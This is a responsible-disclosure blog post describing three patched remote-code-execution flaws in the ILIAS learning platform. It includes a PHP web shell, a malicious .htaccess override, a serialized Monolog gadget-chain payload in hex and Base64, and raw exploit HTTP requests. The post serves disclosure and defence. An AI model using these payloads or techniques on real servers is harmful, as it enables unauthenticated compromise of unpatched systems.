Skip to main content
Breaking ILIAS #2: Three to RCE

Breaking ILIAS #2: Three paths towards RCE

We describe three previously unknown vulnerabilities enabling remote code execution (RCE) in versions 8, 9, and 10 of the widely used learning management system ILIAS.

We reported the vulnerabilities through our responsible disclosure process.
With patches now in place, we can share the details here.

Background

In the first blog post of our little ILIAS series, we describe how we uncovered and exploited a stored cross-site scripting (XSS) vulnerability to obtain administrative privileges and RCE in a recent red team engagement.

Today’s walkthrough

We explore similar vulnerabilities, all of which lead to RCE. First, we discuss an unauthenticated RCE exploiting the course certification import functionality, which is often found in public spaces of ILIAS instances. Next, we describe two authenticated remote-code-execution vulnerabilities caused by insecure deserialization. Both can be exploited by authorized users and often do not require full administrative rights.

1. Unauthenticated RCE (CVE-2025-11344)

Prerequisites. Exploitation requires public access to objects which support ILIAS’ certificate functionality. An ILIAS „certificate“ can be issued for achievements such as course completion. To avoid confusion with X.509 certificates, we also use the term „course certificate” in this blog post.
The following object types are affected:

  • Test (cmdNode: qx)
  • Course (cmdNode: lv)

These objects, when placed in the public section of ILIAS, allow any user with read access (including unauthenticated guests) to interact with the certification editor functionality.

The „Exercise” object shared this vulnerability in the tested v10-beta3, but it was since patched by enforcing a stricter access control in this commit: $this->checkPermission("write")

However, the stable release only enforces $this->checkPermission("read") for other object types. Read permissions are typically granted in public contexts.

Upload arbitrary files to the web server

We start our analysis with the ilCertificateGUI class, which handles certification configuration and export. Due to improper access control in the route processing logic, we are able to directly call actions like certificateEditor() and certificateExportFO() without authentication.

These methods are meant to be available only to users with editing rights (which would normally be course or exercise administrators). However, because the upstream controllers (ilRepositoryGUI -> ilObjTestGUI) do not enforce proper checks, we can reach the certification upload functionality without restrictions.

The certification editor includes a feature to import course certificate templates as ZIP files. This is an intended and valid functionality to enable customization. The uploaded ZIP gets extracted and parsed by ilXlsFoParser(), which expects a specific XML format inside the archive.

Playing around, we notice something unusual: When the uploaded ZIP lacks the expected structure, the parser throws an exception when the expected XML file cannot be found.

The critical detail is that this exception is unhandled. As a result, the cleanup routine, specifically the unlink() call that removes the unzipped files from disk, is never executed. This leaves all extracted files in a web-accessible subdirectory under /data/.

When we upload a .zip archive containing a .php script, upload and extraction succeed, but direct execution of our new .php file is not possible because all files under the /data/ directory are protected by a global .htaccess file located in the ILIAS /public/ folder, which is configured as our web server’s DocumentRoot. It contains the following directive:

<IfModule mod_rewrite.c>
    RewriteEngine on
    RewriteRule ^data/.*/.*/.*$ wac.php [L]
</IfModule>

This rule rewrites any requests to /data/.*/.*/.* so they are handled by wac.php, which in turn calls ilWebAccessCheckerDelivery::run() to perform access control checks. If access is permitted, the file is served with headers like Content-Disposition: attachment or inline to ensure it’s treated as a download and hasn’t become executable. This is an intentional safeguard to prevent arbitrary code execution, even if a .php file somehow makes its way into a subdirectory of /data/.

Change .htaccess directives

Take note of the [L] flag in the .htaccess definition. It is a common misconception that this flag would prevent any further rewriting altogether. In fact, [L] only stops that set of rewrite rules from continuing. This is a crucial detail, as it does not prevent Apache from continuing the directory walk or parsing other .htaccess files in subdirectories.

This enables us to define more hacker-friendly directives wherever we can create .htaccess files. So we include our own .htaccess file inside the zip file and give the web server a simple new directive:

<IfModule mod_rewrite.c>
    RewriteEngine On  
    RewriteRule ^$ . [L]  
    AddType application/x-httpd-php .sec
</IfModule>

Once the ZIP is extracted, this .htaccess file lands inside the same subfolder in /data/ as our PHP payload. Apache now encounters and respects multiple .htaccess files: The first one at the DocumentRoot and our new one inside the extracted directory. Our new specific directives for this subdirectory overrule those specified in the parent folders.

Enabling RewriteEngine "disables" the original rewrite rule, preventing Apache from routing requests through wac.php. We then instruct the web server to treat .sec files as PHP executables using the directive: AddType application/x-httpd-php .sec. As a result, a .sec file is now interpreted and executed by the server as a PHP file.

Why is the .sec extension necessary at all?
In an ILIAS basic installation the custom file extension might not be necessary. However, if operators apply recommended security hardening, Apache configurations following security advisories may deny direct access to .php files located in /data/* at host-level configuration. By using a custom extension, we preemptively circumvent such a restriction.

We have now bypassed the global rewrite protections and enabled full code execution by adding a custom .htaccess file to the ZIP file, and thus the extraction subfolder insider /data/.

We upload a ZIP archive containing a folder named rce with the following files:

  • a.sec: a simple PHP web shell (<?php system($_GET['c']); ?>)
  • .htaccess: the overriding configuration described above

Once uploaded, we need to locate the exact path the ZIP contents were extracted to. ILIAS dynamically generates custom paths during the course certificate import process. In our case, the resulting paths follow this pattern:

/data/[client_id]/assessment/certificates/[upload_id]/[timestamp]__0__[object_type]__[upload_id]__certificate/rce/a.sec

Despite the path’s dynamic nature, we are able to reconstruct it, as all components are either deterministic, accessible by the client or easily guessable. Here’s how we obtain each component:

  • client_id can be found in the ilClientId cookie set by ILIAS during session initialization.
  • upload_id would be exposed to authenticated in users in a JavaScript. However, this is not the case for unauthenticated users, so we need to find a workaround. Looking at the execution flow we notice that any method in the related class can be invoked directly. Conveniently, there’s a method named certificateExportFO(). By setting its name as the value of the cmd URL parameter we can directly invoke it and trigger a 302 redirect initiating a file download. The filename in the Content-Disposition header includes upload_id, which we extract using the following regular expression: __([a-zA-Z0-9]{3})__(\d+)__. This allows us to recover the necessary ID for any publicly accessible and vulnerable object type.
  • timestamp is generated using PHP’s time() function at the moment the foldername is generated right after upload. Because this happens just milliseconds after the upload request, we can identify the value by iterating through a small time window.
  • object_type is a short identifier representing the ILIAS object type, determined using the ref_id in the URL. In our case, the object is TestObject, so the type is tst.

Putting it all together, the final path may look like this:
/data/myilias/assessment/certificates/415/1753256753__0__tst__415__certificate/rce/a.sec

A GET request to that URL with a ?c=<CLI_COMMAND> query parameter confirms successful remote code execution, returning the command‘s output.

CVE-2025-11344 - PoC Exploit

exploit
Figure 1: Proof of concept (PoC) execution of id via RCE. Full exploit source code is not published for reasons

Summing up, this RCE vulnerability is results from a combination of overlooked security issues:

  • Inadequate access control checks in the class chain leading to course certificate-related actions
  • Uncaught exceptions on ZIP and XML parsing logic prevent cleanup of extracted files
  • Insufficient checks on the extracted zip contents allow us to place an .htaccess file
  • .htaccess inheritance allows us to override directives for subfolders

Impact: Complete server compromise with no authentication required if one of the two object types „Test” or „Course” is exposed in a public area.

2. Authenticated RCE (CVE-2025-11345)

File uploads during import in ILIAS are handled by several adapters defined for different import models in class.ilImport.php. The adapter first extracts the uploaded ZIP file and processes the accompanying XML. During this process, importXmlRepresentation reads the extracted XML, which is then passed into importRandomQuestionSetConfig and reaches an unserialize() call in class.ilObjTestXMLParser.

Insecure deserialization. The use of unserialize() alone does not inherently result in RCE. However, passing attacker-controlled input to this function without restricting allowed_classes via the options parameter often enables undesired behavior. The PHP documentation also highlights that object instantiation and autoloading in such scenarios can lead to code execution.

Magic functions. unserialize() becomes a problem when so-called magic functions are available, which override PHP default behavior for certain actions on the object especially around its lifecycle (creation, destruction but also serialization and deserialization). If the application contains any class definition that contains a magic function that executes code based on attacker-controllable class fields, we can achieve RCE.

Composer-based PHP applications frequently include third-party packages that contain such classes with exploitable magic methods simply due to a large dependency footprint. To assess this risk in ILIAS, we examine all dependencies and stumble across the inclusion of Monolog, a commonly used logging library.

We construct a Monolog-specific payload using PHARGGC, a tool specialized in constructing gadget chains for PHP unserialize(). The payload leverages a combination of FingersCrossedHandler and GroupHandler to achieve code execution. For demonstration purposes, the payload below executes the following command: echo 'SRLabs was here' > /tmp/__PWNED__

To ensure reliable execution, we hex-encode the fields in order to replace raw \0 characters that would otherwise disrupt parsing. The final payload is:

O:37:"Monolog\Handler\FingersCrossedHandler":3:{S:16:"\00\2a\00\70\61\73\73\74\68\72\75\4c\65\76\65\6c";i:0;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{S:4:"\74\65\73\74";a:2:{i:0;S:39:"\65\63\68\6f\20\27\53\52\4c\61\62\73\20\77\61\73\20\68\65\72\65\27\20\3e\20\2f\74\6d\70\2f\5f\5f\50\57\4e\45\44\5f\5f";S:5:"\6c\65\76\65\6c";N;}}S:10:"\00\2a\00\68\61\6e\64\6c\65\72";O:28:"Monolog\Handler\GroupHandler":1:{S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}

We embed the payload in the following XML structure to trigger the unserialize call for the taxFilter field of RandomQuestionSelectionDefinition:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Test SYSTEM "http://www.ilias.uni-koeln.de/download/dtd/ilias_co.dtd">
<!--Export of ILIAS Test 326 of installation 0-->
<ContentObject Type="Test">
<RandomQuestionSetConfig>
  <RandomQuestionStage></RandomQuestionStage>
  <RandomQuestionSelectionDefinitions>
    <RandomQuestionSelectionDefinition poolId="320" amountMode="" poolQuestCount="1" questAmount="1" position="0" taxFilter='O:37:"Monolog\Handler\FingersCrossedHandler":3:{S:16:"\00\2a\00\70\61\73\73\74\68\72\75\4c\65\76\65\6c";i:0;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{S:4:"\74\65\73\74";a:2:{i:0;S:39:"\65\63\68\6f\20\27\53\52\4c\61\62\73\20\77\61\73\20\68\65\72\65\27\20\3e\20\2f\74\6d\70\2f\5f\5f\50\57\4e\45\44\5f\5f";S:5:"\6c\65\76\65\6c";N;}}S:10:"\00\2a\00\68\61\6e\64\6c\65\72";O:28:"Monolog\Handler\GroupHandler":1:{S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}' homogeneous="" synctimestamp=""/>
    </RandomQuestionSelectionDefinitions>
  </RandomQuestionSetConfig>
</ContentObject>

When the payload is embedded in a valid ILIAS import archive, uploading it through the import endpoint results in RCE. The request below illustrates the process:

POST /ilias.php?baseClass=importuploadhandlergui&cmd=upload HTTP/1.1
Host: lab1.local
X-Requested-With: XMLHttpRequest
Accept: application/json
Content-Type: multipart/form-data; boundary=----ABC
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: http://lab1.local
Referer: http://lab1.local/ilias.php?baseClass=ilrepositorygui&cmdNode=wr:pp&cmdClass=ilObjRootFolderGUI&cmd=render&ref_id=1
Accept-Encoding: gzip, deflate, br
Cookie: ilClientId=myilias; PHPSESSID=8tjnfk65opmcrpkgqfijqfrg2i;
Connection: keep-alive

------ABC
Content-Disposition: form-data; name="file"; filename="1757316449__0__tst_326.zip"
Content-Type: application/zip
<ZIP_FILE_TO_UPLOAD>

------ABC--

Impact: Complete server compromise for authenticated users with permission to use the described import functionality — typically course administrators or similar roles.

3. Authenticated RCE (CVE-2025-11346)

A third RCE related to insecure deserialization affects the f_settings URL parameter. This is especially interesting as we do not need to prepare any file input. We can simply pass our command as part of the request. Exploitation works in a similar way as above, but the serialized string can be directly encoded in Base64 without the need to wrap it in XML:

POST /ilias.php?baseClass=ilrepositorygui&cmdNode=wr:qx:1l&cmdClass=ilias\test\settings\scorereporting\settingsscoringgui&cmd=cancelSaveForm&ref_id=102&ref_id=104 HTTP/1.1
Host: lab1.local
Cookie: ilClientId=myilias; PHPSESSID=8tjnfk65opmcrpkgqfijqfrg2i
Content-Type: application/x-www-form-urlencoded

f_settings=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6Mzp7UzoxNjoiXDAwXDJhXDAwXDcwXDYxXDczXDczXDc0XDY4XDcyXDc1XDRjXDY1XDc2XDY1XDZjIjtpOjA7Uzo5OiJcMDBcMmFcMDBcNjJcNzVcNjZcNjZcNjVcNzIiO2E6MTp7Uzo0OiJcNzRcNjVcNzNcNzQiO2E6Mjp7aTowO1M6Mzk6Ilw2NVw2M1w2OFw2ZlwyMFwyN1w1M1w1Mlw0Y1w2MVw2Mlw3M1wyMFw3N1w2MVw3M1wyMFw2OFw2NVw3Mlw2NVwyN1wyMFwzZVwyMFwyZlw3NFw2ZFw3MFwyZlw1Zlw1Zlw1MFw1N1w0ZVw0NVw0NFw1Zlw1ZiI7Uzo1OiJcNmNcNjVcNzZcNjVcNmMiO047fX1TOjEwOiJcMDBcMmFcMDBcNjhcNjFcNmVcNjRcNmNcNjVcNzIiO086Mjg6Ik1vbm9sb2dcSGFuZGxlclxHcm91cEhhbmRsZXIiOjE6e1M6MTM6IlwwMFwyYVwwMFw3MFw3Mlw2Zlw2M1w2NVw3M1w3M1w2Zlw3Mlw3MyI7YToyOntpOjA7Uzo3OiJcNjNcNzVcNzJcNzJcNjVcNmVcNzQiO2k6MTtTOjY6Ilw3M1w3OVw3M1w3NFw2NVw2ZCI7fX19

Supplied input is passed directly to the getRelayedRequest() method, where it is Base64-decoded and then deserialized:

private function getRelayedRequest(): Request
{
    return unserialize(
        base64_decode(
            $this->request->getParsedBody()[self::F_CONFIRM_SETTINGS]
        )
    );
}

This simple flow enables direct execution of attacker-controlled payloads, resulting in RCE for authenticated users.

request
Figure 2: Proof of concept (PoC) execution
impact
Figure 3: A file named __PWNED__ was created.

Impact: Complete server compromise for authenticated users with permission to call ScoreReportingGUI endpoints that take the f_settings parameter.

Conclusion

ILIAS is a versatile and correspondingly complex platform. With about 1.2 million lines of PHP code, decades of features, and a broad plugin ecosystem, it’s no surprise that subtle edge cases can lead to serious security vulnerabilities.

None of this makes ILIAS a „bad choice” for eLearning per se. It‘s open source, widely deployed, and backed by an active community. Nonetheless, operators need to treat ILIAS like any other critical application and apply security updates promptly: Track advisories, patch within standard change windows and prepare an expedited path for RCEs, keep extensions lean and current, and avoid falling behind for multiple minor versions.

Security Research Labs engages in a broad range of offensive and defensive IT security consulting such as red teaming, code audits and strategic security assessments. If this kind of work excites you, we are hiring!

This blog post is the second part of a two-part series on security vulnerabilities in ILIAS:

Responsible Disclosure

As per standard practice, we disclosed all identified vulnerabilities to the vendor before publishing this blog post. The full disclosure timeline is provided below.

  • 2025-07-24: Discovered RCE #1 and #2
  • 2025-08-25: Discovered RCE #3. Creating PoC and writeup
  • 2025-09-03: Requested CVE IDs
  • 2025-09-08: Notified vendor
  • 2025-09-15: Vendor verified vulnerabilities
  • 2025-09-23: Initial patches releases (8.24, 9.14, 10.2)
  • 2025-09-25: Unauth RCE Fix bypass discovered
  • 2025-09-26: Vendor notified
  • 2025-08-29: CVE ID requested for unauthenticated RCE vulnerability bypass.
  • 2025-09-06: CVE IDs assigned (CVE-2025-11344, CVE-2025-11345, CVE-2025-11346)
  • 2025-09-07: Requested a CNA score update because the current CVSS 5.1 for CVE-2025-11344 is incorrect and understates the impact of an unauthenticated RCE vulnerability *
  • 2025-09-23: Patches released (8.25, 9.15, 10.3)
  • 2026-01-23: Publication of this blog post and CVE IDs
  • 2026-01-23: Request for update published CVE on MITRE

* We also contacted the vendor regarding the CVSS rating, which appears to have been assigned arbitrarily without a transparent scoring matrix or justification. Unfortunately, we did not receive a response. This lack of transparency creates a significant issue for software operators, as the true severity of the vulnerability cannot be reliably assessed based on the CVE entry. As a result, there is a risk that affected systems were not updated in a timely manner due to the misleadingly low severity rating.

Advisories and release notes

Researchers involved

Daniel Köhler, Florian Wilkens, Rachna Shriwas, Rene Rehme, Mahmoud Anas Khalifa

Security Research Labs is a member of the Allurity family. Learn More (opens in a new tab)